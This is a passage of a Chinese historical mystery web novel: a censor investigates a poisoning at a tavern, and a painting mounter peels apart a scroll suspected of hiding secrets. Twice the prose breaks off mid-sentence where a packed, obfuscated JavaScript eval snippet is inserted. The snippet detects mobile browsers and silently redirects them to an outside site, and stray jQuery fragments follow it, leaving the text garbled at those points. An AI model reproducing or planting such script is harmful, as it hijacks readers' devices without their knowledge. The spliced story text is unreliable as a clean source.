不等方湛回应,冼牧川情绪高昂地拍着他肩头:“明渊兄放心,有我辅佐,你在云州定能有一番作为。” 这边厢正拍着胸脯打完票,雅间门外忽然传来一急声禀告,方湛识出来人乃裘明,便提声允他进来。 却说裘明这日穿的是玄英卫统制的青缎银绣鹰蟒曳撒,头戴大帽,脚蹬麂靴,紧箍腰身的带革上别一把银月大刀,腰间名牌坠下的朱红色流苏随着主人大步流星而起伏翻舞。 这一身英武劲装甫一出现就把惯爱打扮的冼牧川看得眼前一亮,只是,不能看脸。 “我说裘校尉,有没有考虑过换个造型?”冼牧川往自己脸上比划道,“比如,把这一脸胡子给剃剃?” 方湛斟一盏茶置于他面前:“说了一日的话了,还不多饮些茶水润喉?”又对猛然涨红脸的裘明道:“裘校尉那边可是有何进展?” “哦,负责查访酒肆的兄弟们回来了。”裘明这才正色抱拳,将排查所获细细禀来。 刘百盛死前去的那家酒肆位于北外城一片中下等坊区,此地鱼龙混杂,多年来为西域胡商落脚地,本地人并不常去。是以那店家与小二俱不识得刘百盛,更不认得那晚与他吃酒之人是谁。 “店家说,他只记得先来的那人脾气不好,带着把刀,硬逼着他腾出唯一的包厢,但随后又点了店里最贵的招牌葡萄酒,所以他印象很深。” “葡萄酒?”方湛终于从画上收回目光,错愕地记起刘百盛尸检结述中关于舌苔呈紫红色的描述,紧接着脑中又闪过韩穗指尖上那抹擦不掉的嫣红。 “云莱兄关于西域葡萄酒了解如何?” 冼二郎悠闲嗑着瓜子:“那你可是问对人了.....” “有没有一种葡萄酒喝完会在舌头上留色?” “留色?”冼牧川大笑起来,“本小爷喝过的葡萄酒不下数十种,还从未遇到过掉色的,怕不是假的吧,拿颜料往米酒里兑冒充西域酒?” “嗯,”方湛竟若有所思地点头,“想来应是与你所说相差无几。” 不等众人反应,他又问裘明:“那酒肆眼下可还封着?” “回大人,正是,属下已让衙署的兄弟们围守住酒肆的前后门。” 方湛点头,快速收起手中画轴,拍着冼牧川肩膀道:“辛苦云莱兄回府衙继续盯紧徐醇风,我得出去一趟,拜托了。” 话落,他便起身阔步往门口走去。 冼牧川在后头急问:“你这是要去哪儿?” “酒肆。” —— 金乌西坠之前,裘明驭车堪堪赶至北外城那家酒肆前。 酒肆因涉案被封,却丝毫未影响整条街的热闹喧阗。人流熙来攘往,铺面挨挨挤挤,街上偶有深目高鼻鬈发的胡人牵马而过,但看路人的神色似乎早己对此习以为常。 此地售卖的东西也与云州城普通的街市大为不同。方湛等刚下车落脚,就有三四个小贩围上前兜售,什么烟丝香料、水晶玛瑙,甚至还有个非要拉他去看神驹良马的。 奈何他们找错了人,方湛目不斜视,拨开挡路的商贩,直入酒肆之内。 负责看守的衙差还未反应过来,他就已率先登上二楼,进到那晚刘百盛吃酒的房间里。 这是一间颇为简陋的隔房,屋内中央摆一张八仙桌,四边各配一条长凳,只墙角条几上摆着烛台、风灯等照明之物。 那张八仙桌经过多年的使用盘磨,在微弱的天光下还能泛亮。方湛弯腰仔细检视桌面,又伸手拂拭了几处,手指纤尘未染。 裘明紧随其后,见状禀道:“大人,此房间曾被店家打扫过,恐怕有何线索也已被不慎清理掉了,事后属下也搜检过一遍,并未发现有何异样。” 这一点方湛早已料到。他亲自确认桌面上没有自己想要找的东西后,缓缓直起身,收手整理好袖褶,同时环视四周。 最终,他的视线凝落于空无一物的窗台上。 客人走后,店家定会及时打扫干净桌面与地面,但其他地方却不一定天天擦洗。 例如,临街窗下那一排用杉木料砌造成的宽长窗台。 试想那晚在此吃酒的二人,酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022827|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酣兴至,不知是谁提出展卷赏画的建议。然桌面被菜肴摆得满满当当,其中一人便环视房间,发现窗下那块展台刚好适合搁放手卷。 只是他未曾料到,自己持灯专心观画的背后,另一人正往他吃酒的杯中投下一包致命的黄粉。 他毫不设防地接过对方递来的酒杯,避开手卷饮下流浆泛艳的葡萄佳酿。烛火晦暗,他喜笑颜开,收下画卷,却丝毫未留意到对方因马虎洒落在画面及窗台上的点点黄粉。 方湛收回思绪,阔步迈至窗前,又叫裘明掌灯。 不算煊亮的烛火加上尚未暗下去的天光,足够将那块布满裂纹的窗台木板映照得分明。 不出其所料,他果真在一处深浅不一的木纹之上,发现了点点簇簇的棕黄色粉末踪迹。 “取杯水来。”方湛吩咐道。他学着韩穗的方法用指尖沾取一点黄粉,浸入少许清水中,那水旋即转红。 “这,这是……”裘明尚在惊讶中,却听到方湛吩咐叫店家与小二来答话。 店家是个瘦偻的中年男子,跑堂的则是个圆脸的青头小子,这几日二人因被牵扯入命案中,整日提神吊胆,一长一圆的两张脸显露出一样的菜色。但被问及那晚的细节,二人还算对答如流。 同样的问题此前几位官爷也都问过,但眼前这位凛然有度的年轻大人,却多问了一件奇怪的事情。 “那二人走后,使用过的物件可有损毁的?”方湛坐于八仙桌一侧,晃动杯中泛红的水,观察着杯壁上淡淡的红痕。 店家起初笃定地摇头,随即似想起什么,不确定道:“要说摔坏了碗碟之类的,倒还真没有,不过奇怪的是,其中用过的一只酒杯,似乎是染了什么红色的东西,怎么洗都洗不掉,这还怎么好拿出去再给别的客人用。” “那只杯子可还在?”裘明急切问道。 “在,在的。”店家确认。虽不懂官爷为何对只杯子如此在意,但还是按照命令,腿脚麻利地跑下楼去将杯子取来。 裘明上前接过酒杯,又转递给方湛。只见这是一只时下流行的阔口斗彩鸡缸杯,原本是细腻白瓷的内壁杯底却被染上一片殷红,不禁让他想起作画人盛朱砂所用的色碗。 看这颜色,想来那下毒之人用料足够扎实。 方湛瞧了半响,淡淡开口:“确实没法再给客人用了。” 他抽出帕巾,包起杯子:“既如此,本官留下了。” 店家听得此话忙热心道:“老爷若是喜欢这杯子,小的去拿套新的来,怎好..….” 话未说完,被就站起身的方湛打断:“不必,这只就最好。” 此时下属也已将窗台上的黄粉收集完毕,两样物证在手,是以再度走出酒肆时,他的脚步明显多了些轻松与从容。 —— 是日入夜,裘明带着几名玄英卫,着夜行衣再次潜入万顺镖局,随机绑了个起夜的倒霉蛋。 也说不上他们是走运还是不走运,被绑的倒霉蛋名叫丁小五,是半年前才入行的新人,在镖局尚不得信任,无论玄英卫如何拷打审问,关于走镖交易的内幕他是一问三不知,只道自己这半年来被分派的任务就是看管后院仓库。 不过也正是因此,他才“有幸”于三日前的一个深夜,撞见消失已久的镖头张金龙“从天而降”。 确切地说,张金龙是从镖局后墙“而降”,他警告丁小五不得对任何人泄露此事,又要求打开后院一处仓房,进去取了件东西,随即又越墙而去。 丁小五称,仓房的钥匙虽由他保管,但里头的一个个货箱都另上着锁,他是打不开的,因而也不知张金龙取走的是何物,只瞧见是个长窄的木匣。 这一点却难不住玄英卫。裘明此次来云州所带的一队人中,有擅开锁者,当即将镖局那间仓房的货箱全部开了个遍。 其中一只偏小的木箱内,盛放的正是画轴,长短不一,堆码得整整齐齐。 裘明知晓刘百盛命案与画有关,便随机取其中数卷,将人与画一并带回衙署,交予方湛。 方湛审过人,又将那几支画轴一一过目,是真是假虽不能识,但其中有两位作者的大名他却听过,据说是小有名气的江南工笔派新秀,近来在上京那帮南方籍官员中受追捧得很。 正以为这数卷画不过是普通的走镖货物,扫过题尾钤印的视线却赫然识出一枚熟悉的桃形花押来。 他取来那副赝品《寻幽》图,几下一对照,居然是一模一样的“溯朴”印! “裘校尉,”他将画卷上的花押示与裘明,“找人再去一趟镖局,查看一下其余的画卷上是否皆有此印。” 裘明应下,请示道:“既然张金龙已在云州城现身,大人是否下令封锁城门,防其外窜?” 方湛四平八稳道:“不必,这厮没拿到自己想要的东西,不会轻易出城。” “再说了,”他眸光清润平和,嘴角却渗出冷寂寂的笑,“这一出大戏还没唱完呢,如此早就封城捉人,岂非少了许多乐趣?” 32. 揭画(上) 这日清晨,云州府衙的大门刚敞开不到一刻,一抬平顶小轿便落在门侧。 韩立煜从轿中现身,略正衣冠,示意随轿的小厮跟随入衙。 守门的几个差役见到来者,急急收了哈欠,行礼问安。等人进去了,其中一个冒出疑问:“咦,今日韩老爷换小厮了?还挺清秀。” 清秀“小厮”此刻正紧随韩立煜疾步绕过照壁,行至一处偏僻院墙外,二人停步。 韩立煜指道:“这里头是库房,因品兰并未犯事,只是听审,我便找御史大人说情,给她在这儿找了一处干净的厢房住下,也好养病。” “晓得了,谢谢父亲肯带我进来。”韩穗说完就要进去,却被韩立煜叫住。 他看了眼女儿的一身小厮装扮,纵使不是老顽固,但也觉得不成体统。可奈不住昨夜女儿向他好一顿央求,说是如此办法才能瞒住御史大人,不致于给他这个做父亲的惹上“以权谋私”的嫌疑。 眼看都到门前了,他仍不放弃规劝:“其实御史大人并非你所想得那样不近人情,品兰与咱家的关系,我早与他通过气了,他阻挠谁也不会阻挠你去见品兰的,眼下这般鬼鬼祟祟,万一被好事之人瞧见,再当个耳报神,反而说不清了。” 韩穗心里偷偷叹了口气,心道那姓方的要阻挠的人可正是你女儿我啊。 她反劝道:“来都来了,还说这些干嘛,父亲放心,我就找品兰说几句话,不等衙里上人我就走。” 韩立煜便只好带她入院。这日轮值看守的差役恰是韩家熟识,倒省了许多口舌。那差役识出面前“小厮”实际上是小姐,当即放行,推拒了韩穗塞给他的银锭,又毕恭毕敬将韩立煜送走,才若无其事地回去。 且说郭品兰在屋内早就听到外头动静,正心神不安,忽然门开。她抬头看清来人,瞬间泪如泉涌,扑上去抱头痛哭。 韩穗少不了安抚一番,又问她身体如何、可有被提审,一旁的小桔都替呜咽不止的品兰答了。 哭了一会儿,品兰也安静下来,说起被提审的场景。“那位京城来的御史大人心思极深,他的问题似乎在一步步引导我,我这几日忍不住琢磨,怎么感觉他在怀疑是我杀的刘百盛!” 总算有人跟我想得一样了!韩穗拼命点头:“他就是个心思极深的人!但你别怕,那些都是审问犯人的套路罢了,你没做过的事咬死不认,就不会有事。” 品兰点头,又问:“那我们何时才能离开这儿?” 韩穗叹了口气:“按照御史大人的意思,官府何时查清刘百盛的命案,何时再放你们走。”见品兰失落,她安慰道:“你放心,我会想旁的法子让他放人,什么狗屁理由啊,刘百盛的死与你又有何干!” 品兰一听又急了:“犯不着因为我的事与御史大人唱反调!” “先不说这个了,我来找你还有一事,”韩穗转移话题道,“那日你让我从刘家取走的画我已拿到手了,可以确定是白川真迹‘寻幽图’,但我并未看出什么异常,因此想来问问,那画可是你的私藏?” “并非我的东西。”品兰摇摇头,开始回忆起“寻幽图”的来历。 “那天应是刘百盛出事的两日前,二更天黑,我和小桔点灯打络子,突然听到门响——我被锁在偏院的这半年,送饭的只从墙头递进来,从不开门,我便猜是姓刘的又发酒疯,来抽我鞭子了!好在屋门是锁着的,我们赶紧熄灯上床装睡,提心吊胆地听着外头动静。那可怕的脚步声直奔堂屋,在门口窗下徘徊了一会儿,却未开门,直接走了。” “过了好久,外头再没动静。我壮着胆子下床去窗边,从窗缝往外看。那晚月色很亮,刚好看到姓刘的坏种从院子假山里走出来。我忙隐身,心儿吓得砰砰跳,后来只听他出了大门,哐啷一声锁门走了!我觉得不对劲,悄悄开门出屋,想看看是怎么回事。” “等我靠近院门,这才听到,他还没离开,正在门外跟人说话呢!就听姓刘的说什么‘你这个主意可真绝,谁能想到咱们会把东西藏到一幅画上’,他又说‘我的身家性命可都在这画里了,过了年,你带去上京可要亲自交给老爷子’,还说‘东西是你裱上的,揭的时候也得你亲自揭,省得旁人弄坏了’。” 韩穗听到这儿不由困惑:“这些话好生奇怪。那另外一人说什么了?” 品兰道:“那人只问,‘画藏在这儿靠谱么,连个看守都没有?’姓刘的语气得意,说藏在此处最保险,保管姓张的想不到。” “姓张的?” “是说的姓张,但我也不知道那是谁。后来他们又说了些话,我听不懂,也就记不大清了。只最后他们居然说到了古宝阁,这是我万没想到的。” 古宝阁原是郭家的铺产,三个月前因卷入一桩买卖纠纷而被迫关店。如今铺子虽还在,但却不能开门营业,郭家的存银又因官司被罚没得几无所剩,若不是韩家暗中帮持着,一把年纪的郭父都打算挑担去当货郎了! 当然,一直被幽禁在刘家偏院中的品兰并不知家中已遭此难,但乍然听到门外二人提及古宝阁,她心脏猛抽,屏息凝神,清清楚楚记下了那一段对话。 月光高照,只听另一人问:“东西交给老爷子,自然能体现你的忠心,可若有朝一日上京那边拿着这画卖了你,你又如何应对,云州的事你可不好往外摘啊!” 刘百盛嗤笑一声,像是憋着什么恶作剧:“摘是摘不清楚了,但不妨碍爷爷我早找好了替罪羊!城南有家铺子叫古宝阁,那就是我的后手,就算将来老爷子要断了我这条‘尾巴’,也没在怕的!” 另一人似乎还想再说什么,突然不远处跑来一人,紧接着一小厮禀道:“爷从万春馆请的姑娘们到了,正在花厅等着呢。” 门外人便暂止对话,一阵脚步声渐行渐远之后,这一处偏院再度陷入幽静。 门内人周身却如同浸入了冰水,战栗连连,步如灌铅。不知缓了多久,郭品兰猛然回醒,急唤小桔持灯出来,二人直奔院中假山,这才发现了那副古画《寻幽图》。 听完这一回,韩穗总算明白了:“怪不得你叫我千万保密,敢情这画的秘密一旦被人勘破,你家就要替人顶罪了!” “可我并不知姓刘的坏种究竟做了什么伤天害理的事,”品兰忧愁道,“我只是直觉,这画要么永远藏起来,要么最好是由咱们先看出其中的秘密,不至于被动。” 韩穗点头:“你的直觉是对的,无论如何,先把画拿到手藏起来,这是最安全的。”她沉吟片刻问道:“你可认出那晚跟刘百盛说话之人是谁?” “不曾, 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突然之间,韩穗最先明白过什么,猛地低下头,抬脚阔步,疾速离去。好在身后人并未追上来,她得以顺利脱身,走出府衙,扬长而去。 直到走出两条街,她才放慢脚步,拍着胸口平复气息,心道:太惊险了,谁能想到会在府衙遇到斐然!亏得他比四年前长高出一倍,我还能认出他来。想来那小子应是跟随姓方的下山做随侍了,方才自己若是反应再迟一刻,恐怕已被认出,惊动住在衙中的方某人了! 刘家的那副画,她暂时还不能叫方湛知晓,甚至连父亲都要隐瞒。毕竟刘百盛的命案未破,官府若了解到这画的存在,定会以查案之由收走,那往后的事情就难以控制了。 还是要尽快破解《寻幽图》中的秘密。 如此想着,她快步朝四方胡同走去。 回到家后,韩穗首先问先秀:“那个被方湛派来‘保护’我的玄英卫还在么,有没有发现我扮作小厮偷偷离家了?” 先秀拿来衣裳给她换上,道:“还在呢。昨夜我看那大哥在墙头待了一晚上,想着今日一早招呼他吃点热乎的,顺便拖住他,掩护姑娘跟老爷出门。谁知到处没找到他人影,过了会儿我假装出门买菜,瞧见他正在后街茶摊坐着呢,但那两只眼睛还是在盯咱们家。” 韩穗将手伸进一件鹤红色锦衫袖中,琢磨道:“看来那姓方的真不是为监视我。” “我就说姑娘想多了吧,方大人一看就是心思纯正之人,怎么会做那等窥探之事,”先秀为她系好衫带,“不过我倒是有个疑惑,为何方大人要专门派人来保护姑娘呢,那可是鼎鼎有名的玄英卫诶,就连州府老爷们都没这待遇呢!” 听到方湛被夸“心思纯正”之时,韩穗已是忍不住暴跳,幸而先秀转折得快,抛出对那人行事目的的质疑,总算叫她得到些安慰——还好,我家的侍女不至于太傻。 刚想与先秀深度分析方湛的意图,就见后者一双杏眼忽地又圆又亮,如同隔壁家养的那只狸花猫,兴奋地跺起小碎步:“我明白了!方大人定是看上姑娘了,才会对姑娘如此优待又不同!” “苍天,没救了!”韩穗顿时如搁置了个把月的萝卜,蔫蔫扑倒在床上。 33. 揭画(下) 这日午食过后,韩家来客了一一还是一位不常来的人物。 “邓叔!什么风把您给吹来了?”韩穗出门相迎,忙张罗通山去摆茶果,客人却摆手道:“别麻烦别麻烦,我是进城办事,路过府上,来给你师父捎话带信的,说不了几句,一会儿去门上找老华头讨茶就成!” 韩穗几番力劝,最后拗不过,只好问:“师父他老人家有何重要的事,非要您亲自来传话不可?” “好几桩呢,这其一,提醒姑娘明日可是‘开坛’的日子,千万别忘了去片雪斋。其二,你师父好奇他那堆‘废纸’叫姑娘裱成啥样了,明日可得带去给他瞧瞧。其三嘛——”邓叔嘿嘿一笑,“上次你拿去的素油栗子饽饽,你师父吃过后念念不忘,特叫我来找你家厨娘讨要方子。” “我看这第三条才是师父打发您来的真正目的吧!”韩穗玩笑道,“好说,明日一早我叫榆娘蒸一屉,连方子带饽饽我都带去便是。” “敢情好、敢情好。” 两相说罢,邓叔去门房找华叔吃茶说话,韩穗则回到正堂暖阁,从架子上取下一只小盒,里头正是上月给师父装裱好的册页。 她取出册页,平放至桌面,将手指伸入书页缝隙中翻阅检查,先秀在一旁看见后感慨:“这次的册页做得可真薄呀,纤巧整齐,赏心悦目。” “给师父做册页,我自然加倍用心。师父的草书大字乃天下第一,而其日常行书亦有妙处,那日我看他居然叫邓叔拿其手书引火用,实在觉得暴殄天物,这才要来这些信札手记,做成册页,可供翻阅赏鉴。” 韩穗检查完,一面将册页放回盒子收好,一面道:“师父的手书有些多,所以我特意选了薄且韧的白鹿纸。若用普通纸,恐怕这几十页叠在一起就变成发面花卷了!” “还是不小心把面发过头的那种!”先秀嘻嘻直笑。 似乎是想到了什么好笑的画面,二人笑作一团,笑着笑着,韩穗却渐渐变了脸色,嘴里轻轻念道着:“发面花卷……” 突然,她双手一拍书案:“我知道那画的奇怪之处了!”随即起身,从文竹盆景底下取出钥匙,打开屋角一樟木箱,从最底下翻找出一只画匣。 她先仔细净手擦案,这才开匣,将里头的《寻幽图》小心取出。 “果然,”她将画轴的截面展示给先秀,“我第一次将此画拿在手中就觉得哪里不太对,你方才说发面花卷,我脑海中居然第一个想到此画卷起来的样子。寻常这种尺寸的画轴,我单手便可轻松一握,掂起来也更轻盈。” 然而她手上的这幅《寻幽图》,收卷起来明显厚重许多,缝隙间支楞不够平滑,从侧面看可不就像发面花卷么! 取画回家的那日,她只顾从画面上寻找线索,根本忽略了这一处问题! 此刻先秀也看明白了:“谁的手艺啊,太差劲了!” “不对。”韩穗回想起品兰那些话,若她没猜错,此画的揭裱正出自商卓之手。先不论商卓此人的人品问题,单说他乃扬州裱褙世家商家传人这一点,就不该将一副价值百金的名画装裱成这等水平啊。 她将品兰今日所述一句句拆出,在脑海中反复筛析,直到两句话猛然跳出,紧紧攫住她的怀疑—— “你这个主意可真绝,谁能想到咱们会把东西藏到一幅画上!” “东西是你裱上的,揭的时候也得你亲手操作。” …… 先秀瞧见韩穗眉头紧蹙,双目出神,口中似乎还在念念有词,不由忧怕道:“姑娘这是怎么了…..” 然而话还未说完,就见韩穗霍然抬头,一副恍然大悟之状:“快去,将我的襜衣取来,再叫榆娘烧些温烫的水,今日我就要将此画中的秘密‘揭’出来。” —— 正午阳光透过暖阁的明瓦,落到靠窗一张宽长的回纹马蹄书案上,将漆亮桌面映得油光水滑。 先秀取来一只背匣,将匣中揭裱专用的工具一一摆放至主人顺手的位置。 事到临头,她还是心存疑虑,看着案上的《寻幽图》问道:“姑娘当真要对它下手?这画本就是古画,还刚被人揭裱过一次,想来画心已经很是脆弱,能经得起咱们再折腾一次么?” “并且,”她压低声音道,“姑娘不是说如今白川的画又身价飞涨了么,值好些钱的,万一操作过程中出现什么意外,品兰姑娘会不会怪罪咱们?” 韩穗正在穿一件半新不旧的靛蓝色粗布襜衣,她默默系好背带,又用两根布条将湖绿莲纹袄的窄袖利落绑起,露出修长净白又微有力量感的一双手。 直到做好揭画前的准备,她才开口:“品兰若真是那样的人,我压根就不会冒险去刘家帮她取画。再者,你还信不过你家姑娘我?之前从白家带来的那副《望山》图,可比眼前这幅状况糟糕多了,咱们不也修复完好,又给它续了至少百年命数么。” “那倒是,”一提到韩穗的技术,先秀便有了一万个放心,“姑娘的手艺要在大胤称第二,想来无人再敢称第一!” 韩穗笑着点了点她圆幼的鼻尖:“气势对了,但大话吹得有些过头。” 玩笑过后,主仆二人便收敛心神,开始投入到眼前的正事之中。 揭裱的第一道工序是去掉四边,将画心裁切出来。裁剪时,韩穗逐渐悟过来,为何此画卷起后会贴合不紧,原是画心部分明显比四边厚实的缘故。 心中某个猜测愈发笃定。 她快速完成这一步骤,将桌案清理干净,取来一大张构皮纸,微微打湿,借助鬃刷使之紧贴桌面,以承托后续对画心的操作。 “倒水。” 收到指令的先秀配合默契,托举铜壶,将温热的水缓缓倾倒在韩穗手中的排刷上,水流顺着由十数支细毛笔并排组合成的排刷潺潺流下,最终浸裹住整张画心。 接下来便是这幅画最脆弱亦是最坚强的阶段——寻常人看到绢纸被泡在水中,定觉得作废了没救了,但在裱褙匠眼中,此时正是赋予它新生的宝贵机会。 借助柔和的水力,一幅画的所有褶皱折痕都可舒展还原,任何污渍灰尘皆能被涤濯干净,而断裂破碎亦能轻松拼接对齐。 不过这幅画此前已被洗过一次,眼下倒不必再多加操作,只需让画吃透水分,待黏贴背纸的浆糊彻底软化,便可一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068677|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探究竟画心为何会如此之厚。 等待间隙,韩穗细细观察画心状态。她幸运地发现,原画心并没有致命破损,几乎完整,想来在漫长的岁月中有被人好好对待。 如此情况便简单多了。她估摸着时辰正好,将画轻轻翻转,以使覆背纸朝上。接过先秀适时递来的夹镊,她小心揭开一处破口,细微调节手上力道,居然不费吹灰之力便把覆背纸囫囵个儿揭了下来! 就连先秀都感到意外:“这么轻松?往常姑娘揭背纸可费劲了,只能一条一块地撕,遇到粘连得牢的,甚至得用指腹一点点搓下来。” “一方面,毕竟这画是刚托裱的,画心与背纸还未彻底粘连,”韩穗将几乎完整的背纸搁在另一张桌上,语气凝沉,“这另一方面,恐怕是上一个裱褙匠故意为之,特意调薄了浆子,糊裱的时候就不牢,揭时自然更容易了。” 先秀想不通:“可他为何要这样做?” “很快你就能知道了。”韩穗挑眉一笑,胸有成竹地回到书案前,仔细观察起剩余画心部分。 通常画纸状况良好的情况下,其背面只需托覆一张背纸即可。可眼前这张画,揭去最外层的背纸后,明显还有好几层! 这与她最初的猜想一模一样——商卓与刘百盛很可能将不可告人的秘密夹贴在了画心与背纸之间,妄想神不知鬼不觉地借用托裱好的画轴传递出去。 可惜那姓商的定没有想到,这一看似天衣无缝的伎俩,会被同是内行的韩穗轻松识破! 韩穗似乎听到自己心跳声咚咚如擂鼓,手心亦罕见地渗出汗来。她往襜衣上揩了揩手,小心翼翼地去揭第二层背纸。 此一番揭纸操作仍然毫不费力,只不过与最表层的整张大纸不同,这一层的背纸居然是由六张书页尺寸的小纸拼成。 “怎的底下还有一层!”此时先秀已隐有不屑,“啧啧,上一位托裱老先生怕不是外行吧,就算想给画心加固,也不能是左糊一层右糊一层这个法子啊。” 韩穗却蹙眉不语,看着眼前几张揭下来的空白纸页,先前那种即将勘破秘密的紧张与激动骤然如浇冷水。 为何纸上无字无画? 难道是她从一开始就想差了?亦或者,写有秘密的纸张还在下一层? 然而随着最后一层背纸揭离画心,仅存的一丝期待也彻底落空。 所有被夹藏在画心与背纸之间的纸张,皆是空无一字! 可事已至此,只能先善后再说。她力持冷静,为画心托覆上新的背纸,再与先秀配合,二人各持一侧,趁着水分锁给纤维的安全张力,将整张画贴到一面订有平滑木板的墙上。紧接着,她又用鬃刷将画与板面之间的空隙刷平,如此待画干透后,再取下来便是平整如新。 做完这些,先秀长舒一口气:“还好姑娘手上功夫稳且快,否则寻常人非把此画弄糟烂了不可。” 但韩穗此时脸上哪有半点松快之意,盯着方才揭下来的那些空白纸页微微出神。 若无特殊意图,商卓毫无理由在背纸之下又多贴了十二张书页大小的纸张。可若他是有意为之,一堆空白纸又如何能传递秘密? 34. 云三知(上) 却说这日斐然在甬道上不小心撞到了人,匆忙道歉,虽觉得对方有些眼熟,但脚下步履根本顾不上停留。 他一路疾奔,神色兴奋地绕过洒扫庭院的杂役,跨门槛时更是一蹦三高,风驰电掣般跑进府衙馆舍。 “公子、公子!有消息了!” 方湛正理衣准备出门,瞧见几日没怎么见的斐然兴冲冲跑进来,皱眉问道:何事如此激动?” “那个云三知、云三知的下落,总算有眉目了!” 云三知便是传言中华严寺闻觉大师的俗家弟子,若问何故要寻此人,还要从方湛难得也会吃别人的闭门羹一事说起。 自打入云州后,方湛几次前往华严寺求见闻觉大师均被拒之门外,斐然更是连帖子都没递进去,屡碰钉子的主仆二人便打起了云三知的主意,试图走他的门路达成引见目的。 然而云三知此人甚是神秘,饶是斐然自诩机灵无双,居然几番遇挫。 他先是花了一整天的时间在寺院里四处打探,甚至还自掏二十两香火钱,上到住持下到扫地僧,几乎全部问了个遍,直到被僧人当成居心叵测的贼人赶出去之前,也没问出云三知到底是谁。 第二日,他又在寺庙前街整整晃悠了一日。这次倒是得到了许多人的热情回应,好几位热肠人士拉着他神神秘秘打包票,最终在他差点被骗走仅剩的十两当介绍费之前,恍然明白过来,这些人将他当作找闻觉大师求字无门的冤大头了!个个都称自己认得云三知,可说到长相特征,一人口中一个样儿。 眼看太阳即将落山,斐然拖着疲惫的身躯走进街尾一家冷清的素面馆中。他叫了一碗素丁油泼面,食不知味地往嘴里扒拉着,无意间听到身后有两位食客正向店家打听云州的西山石窟。 面容憨厚的店家笑道:“听二位的口音,应是从外地来的吧,可是想去西山石窟游玩?” 那食客点头,称是从南边来办事的,办完事后时间尚有富余,便慕名想去观瞻西山石窟,却又不知该如何前往。 店家好心解释道:“云州的石窟多着呢,若都要看遍,一天时间可不够,眼下又是冬季,山中酷寒,不是游玩的好时候呢。我倒是推荐二位直接去灵岩寺,灵岩寺本就是依靠石窟建成的,二位去那儿既能看到石窟,又能祈福,累了还可下榻吃素斋,岂不舒适。” 食客听后亦觉不错,连声道谢。此时店中清闲,两位食客也无立刻离去的意思,双方便闲聊攀谈起来。 “说来也怪,”店家不解道,“云州石窟都在西山里头待了几朝几代了,过去除了樵夫猎户偶尔路过歇脚,从没有人专门想去瞧上一瞧的。最近我却遇到好几个打听的,与二位一样,一看就是清贵读书人,都说是慕名前来游玩石窟,我一个粗人,实不知慕的是什么名堂?” 两个食客相视清笑,其中一位道:“想来这便是名人效应了,前来打听石窟的,应该都读过《云石游志》一书,看到书中闻觉大师花数年走遍西山石窟,一时兴起,也想效仿大师,一瞻千年石窟风采。” “闻觉大师我知道啊,他可是我们云州的有名人物,书法大家,连上京城里的圣上都见过的,那个什么什么志,可是大师写的书?” “非也,此书是闻觉大师的弟子云三知所撰,店家将面馆开在华严寺前街,怎的连这个也不知?” 店家讪笑:“嗐,人家寺庙里头的事,我一个开面馆的哪里清楚!” “老哥这话差矣,那云三知可不是寺庙和尚,却与你我一样是红尘中人。《云石游志》里头说得清楚,三年前闻觉大师志要走遍西山所有石窟,可此志未完,大师就得了腿疾,这才收下一名俗家弟子,将剩下的石窟勘完,又将大师的游历、各个石窟状况记录在册,甚至还把精妙壁画临摹下来,一一编纂成书。” 三人啧啧奇谈之时,殊不知这店里还有一人正凝神静听。 原本斐然吃着面,有一搭无一搭地闲听,可当“云三知”一名出现时,他条件反射地支楞起耳朵,最后干脆端了面碗直接坐到人家桌上,极其自来熟地加入了谈话。 只可惜,两个外来客加上一个开面馆的,又能比他多知道多少呢? 面馆打烊后,斐然落寞地走在街上,不想找个人会如此之难,甚至开始怀疑那个云三知是否真实存在。 他不甘心就这样回去复命。 他很清楚公子为何执着要见闻觉大师一面。公子心中的那团结,或许只有闻觉大师才能帮忙解开,而他又怎可轻言放弃! 又过了两日,斐然重振旗鼓,扮作杂工混入华严寺的后厨打杂——他可不想在一棵树上吊死,既然找不到云三知,那就自己蹚一条新门路出来! 谁知却歪打正着,还真有了新发现。 这日晚饭过后,他向厨子打听往各个斋堂送饭的事情,厨子无意间透露,闻觉大师所居的片雪斋每月都有两日无需送饭。 斐然总算有机会掏出提前备好的上好烟丝,亲自装了旱烟,殷勤地递给厨子,状似无意地问道:“不用咱们厨房送饭,大师吃什么呢?” 厨子心满意足地抽了口旱烟:“自然是会有人从山下送素斋去呗。” “送斋的可是闻觉大师那位俗家弟子?” “什么俗家弟子,”厨子不屑道,“是大师身边的老仆邓叔从山下找的腌咸菜学徒!” “腌咸菜?”斐然一听委顿了。 可厨子却眉飞色舞起来:“片雪斋最有名的东西你都不知道?” “知道啊,闻觉大师的天下第一草书呗。” “那倒也是,”厨子大哥眨了眨眼,“不过我说的是坛子咸菜!大师给它起了个好名,叫雪瓮菜。据说就连上京的娘娘吃了都说好,索要配方大师还不肯给哩!” “往年腌咸菜都是邓叔做,但邓叔年纪大了,好些力气活做不得,就从山下收了个帮徒,每月来两日干活学手艺。那做徒弟的嘛,不得表示表示,来的时候总是带着上好素斋,自然不需要咱们厨房送饭了。” 厨子大哥还在喋喋不休地羡慕那帮徒,表达着自己对雪瓮菜的向往,丝毫没有留意到斐然那若有所思的沉默。 那天夜里,斐然越琢磨,心里的怀疑就越是清晰。第二天天还没亮,就找了机会溜出寺庙,马不停蹄回到府衙找方湛复命。 